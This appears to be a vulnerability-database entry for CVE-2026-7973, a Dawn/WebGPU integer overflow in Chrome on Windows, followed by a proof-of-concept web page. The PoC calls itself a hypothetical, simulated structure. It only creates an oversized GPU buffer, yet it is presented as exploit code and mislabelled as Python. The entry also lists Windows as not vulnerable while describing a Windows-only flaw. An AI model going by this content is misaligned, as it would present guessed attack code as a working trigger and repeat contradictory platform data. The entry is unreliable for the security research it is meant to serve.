Integer overflow in Dawn in Google Chrome on Windows prior to 148.0.7778.96 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
Conceptual PoC for CVE-2026-7973
This PoC attempts to trigger the integer overflow in Dawn (WebGPU) via a crafted buffer size calculation.
Note: This is a simulated structure based on the vulnerability description.
-->
<!DOCTYPE html>
<html>
<head><title>CVE-2026-7973 PoC</title></head>
<body>
<script>
async function triggerVuln() {
if (!navigator.gpu) {
console.log("WebGPU not supported");
return;
}
const adapter = await navigator.gpu.requestAdapter();
const device = await adapter.requestDevice();
// Attempting to trigger integer overflow in buffer size calculation
// The specific calculation causing the overflow would be in the internal Dawn implementation
try {
// Hypothetical large size or specific alignment causing overflow
const bufferSize = 0x100000000;
const bufferDescriptor = {
size: bufferSize,
usage: GPUBufferUsage.COPY_DST | GPUBufferUsage.STORAGE
};
// This call may trigger the vulnerable code path in Dawn
const buffer = device.createBuffer(bufferDescriptor);
console.log("Buffer created, potential vulnerability triggered if version is vulnerable.");
} catch (e) {
console.log("Error: " + e);
}
}
triggerVuln();
</script>
</body>
</html>